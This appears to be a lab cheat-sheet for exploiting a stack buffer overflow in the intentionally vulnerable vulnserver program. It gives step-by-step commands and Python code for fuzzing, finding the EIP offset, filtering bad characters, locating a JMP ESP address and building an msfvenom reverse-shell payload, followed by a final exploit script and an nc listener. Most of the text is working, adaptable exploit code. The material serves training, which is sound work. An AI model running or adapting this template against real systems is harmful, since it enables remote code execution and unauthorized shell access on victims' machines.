Template code

Prerequisites

  • Windows VM
    • Immunity Debugger
    • PATH contains C:\python27
    • C:\python27\Pycommands\mona.py
  • Linux VM
    • Kali, Parrot, custom build
  • Both VMs need to contact each other
  • A will to live

Windows VM

  1. Launch Immunity Debugger as Administrator
  2. File > Open > vulnserver.exe
  3. Set it to run
  4. Repeat after every crash

Linux VM

Scan the victim IP

nmap -p- <ip>

Connect to the port where the app listens on

nc <ip> <port>

Spiking

  1. Look for commands that can take input like:
    • STATS
    • TRUN
  2. Create spike script for every command
s_readline();
s_string("<cmd> ");
s_string_variable("A");
  1. Spike it and keep an eye on Immunity Debugger
generic_send_tcp <ip> <port> <spike script> 0 0
  1. Note the command and potential arguments where the script crashes the app

Fuzzing

  1. On every crash, try higher increments in buffer size to see if you can overwrite EIP
  2. Keep an eye on Immunity Debugger
#!/usr/bin/env python3
import sys, socket
from time import sleep

ip='<ip>'
port=<port>
buffersize_incr=100
buffer=b'A'*buffersize_incr

while True:
    try:
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.settimeout(5)         # 5 seconds
        s.connect((ip, port))   # Note the double ()
        s.send(b'<cmd> ./:/'+buffer)
        s.recv(1024)            # Important, otherwise it won't crash
        s.close()
        sleep(1)                # Don't forget to sleep, otherwise crash when sending to fast
        buffer=buffer+b'A'*buffersize_incr
    except:
        print('Crashed at {} bytes'.format(str(len(buffer))))
        sys.exit()

Finding offset

  1. Input the buffer size that also overwrites the EIP
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <buffer size>
  1. Put the output of pattern_create.rb in the buffer
...
buffer=b'<pattern>'
...
  1. Take note of the EIP value in Immunity Debugger
  2. Get the exact offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l <buffer size> -q <EIP>
  1. Verify by using buffer b'A'*<offset>+b'B'*4
  2. EIP should be 42424242

Bad chars

  1. In Immunity Debugger:
    • !mona config -set workingfolder c:\mona\%p
    • !mona bytearray -b "\x00"
  2. Use below code to generate string of bad chars that is identical to bytearray
#!/usr/bin/env python3
from __future__ import print_function
for x in range(1, 256):
    print("\\x" + "{:02x}".format(x), end='')
print()
  1. Put the string of bad chars before the B’s in your buffer:
badchars = "\x01\x02\x03\x04\x05...\xfb\xfc\xfd\xfe\xff"
buffer = b'A'*<offset>+b'B'*4+badchars
  1. Crash the app with the badchars and compare with mona:
    • Copy ESP each time you crash it because it may change
    • !mona compare -f C:\mona\<appname>\bytearray.bin -a <ESP>
  2. Generate new bytearray, exclude badchars and start over:
    • !mona bytearray -b "\x00\x0a"
    • Delete badchars from buffer
    • Crash app and copy ESP again
    • !mona compare -f C:\mona\<appname>\bytearray.bin -a <ESP>

Find right module

  1. Find module without protections (False):
    • !mona modules
    • Take note of the module name (e.g. essfunc.dll)
  2. Find JMP ESP
    • !mona jmp -r esp -cpb "<badchars"
    • OR
    • !mona find -s "\xff\xe4" -m <module>
  3. Take note of ALL the return addresses for all JMP ESP pointers
  4. buffer=b"A"*<offset>+b"<JMP ESP return address>"
    • 0x625011AF => \xaf\x11\x50\62
  5. In Immunity Debugger: set breakpoint on the JMP ESP return address (Go to address is disassembler: and press F2)
  6. Crash the app again
  7. EIP should now have the JMP ESP return address
  8. If not, try again with other JMP ESP return addresses

Shellcode

msfvenom -l payload
msfvenom \
    -p <payload> \
    LHOST=<attacker ip> \
    LPORT=<attacker port> \
    EXITFUNC=thread \
    -f c \
    -a x86 \
    -b "<bad chars>"

NOTE: If an encoder was used (more than likely if bad chars are present, remember to prepend at least 16 NOPs (\x90) to the payload.)

#!/usr/bin/env python3
prefix = b""
offset = <offset>
overflow = b"A"*offset
returnaddr = b"<JMP ESP addr>"
padding = b"" # NOPs (e.g. \x90\x90\x90)
payload = b"<msfvenom output>"
postfix = b""
buffer = prefix + overflow + returnaddr + padding + payload + postfix
...
sudo ufw disable
nc -lvnp <attacker port>

Finally, crash the app again and get shell :)

Resources